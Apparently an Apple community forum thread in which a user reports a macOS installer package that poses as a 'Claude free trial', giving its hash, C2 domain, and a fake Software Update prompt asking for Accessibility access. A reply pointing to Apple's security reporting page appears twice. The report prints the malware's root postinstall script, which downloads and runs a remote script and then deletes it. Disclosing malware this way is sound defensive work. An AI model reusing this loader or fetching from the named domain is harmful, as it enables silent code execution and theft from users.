Malware report: macOS .pkg installer impersonating an AI brand's free trial to distribute malware

To Apple Product Security / Phishing Report Team,


I am reporting a malicious macOS Installer package (.pkg) that impersonates a well-known AI company's brand ("Claude free trial") as a social-engineering lure to get users to install malware on their Mac.


1) Malicious installer file

- Filename: x64_setup_69_857_3.pkg

- SHA256: 30abee0c4a9ded33e7395cd60056518cfaaf00922e575264da6676f0e6018006

- Format: macOS Installer package (xar archive)

- Package identifier: com.deltawhispercom.installer

- Installs an app named "Whitelabel.app" (bundle id com.whitelabel.desktop) to /Applications

- Lure used: distributed/presented to the victim as a "Claude AI free trial" installer


2) Malicious behavior

The package's postinstall script executes with root privileges during installation. It silently downloads and runs a second-stage script from a remote server, then deletes evidence of its own execution:


#!/bin/bash

_t=$(mktemp /private/tmp/wp-setup-XXXXXX)

curl -fsSL --max-time 30 --noproxy '*' 'https://deltawhisper.com/install.sh' -o "$_t" 2>/dev/null || { rm -f "$_t"; exit 0; }

bash "$_t"

rm -f "$_t" 2>/dev/null


3) Follow-on activity observed on the infected Mac

After installation, a fake macOS "Software Update" system dialog appeared, requesting Accessibility permissions under the pretext of "quietly applying a system update." This is a known technique to gain screen-reading/keyboard-monitoring/automation capability, consistent with credential and cryptocurrency wallet theft.


4) Distribution / C2 domain

- deltawhisper.com


Request: Please investigate this malware and its distribution, and take appropriate action (e.g., flagging/blocking via XProtect and Gatekeeper, revoking any associated Developer ID signing certificate if the package is signed, and any other enforcement your team deems appropriate).


I can provide the sample file itself or further technical detail if helpful.


Thank you.

MacBook Pro 13″, macOS 26.6

게시일: 2026. 8. 24 오전 01:21

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게시일: 2026. 8. 24 오전 09:00

Hi.


Since this is just a user forum, we can't really help with this directly — please pass along the info below to Apple as feedback.


Report a security or privacy vulnerability If you believe that you have discovered a security or privacy vulnerability in an Apple product, please report it to us. If you need technical support for a security issue — for example, to reset your Apple Account password or to review a recent App Store charge — view the Get help with security issues support article or visit Apple Support. How to report a security or privacy vulnerability If you believe that you've discovered a security or privacy vulnerability that affects Apple devices, software, or services, please report it directly to us on the web at Apple Security Research. Reports should include specific product and software version(s) that you believe are affected; a technical description of the behavior that you observed and the behavior that you expected; the steps required to reproduce the issue; and a proof of concept or exploit.

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Thanks.

MindBlown.

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chrisbae 님에게 답변 2026. 8. 24 오전 09:00

Hi.


Since this is just a user forum, we can't really help with this directly — please pass along the info below to Apple as feedback.


Report a security or privacy vulnerability If you believe that you have discovered a security or privacy vulnerability in an Apple product, please report it to us. If you need technical support for a security issue — for example, to reset your Apple Account password or to review a recent App Store charge — view the Get help with security issues support article or visit Apple Support. How to report a security or privacy vulnerability If you believe that you've discovered a security or privacy vulnerability that affects Apple devices, software, or services, please report it directly to us on the web at Apple Security Research. Reports should include specific product and software version(s) that you believe are affected; a technical description of the behavior that you observed and the behavior that you expected; the steps required to reproduce the issue; and a proof of concept or exploit.

Report a security or privacy vulnerability - Apple Support


Thanks.

MindBlown.

Malware report: macOS .pkg installer impersonating an AI brand's free trial to distribute malware

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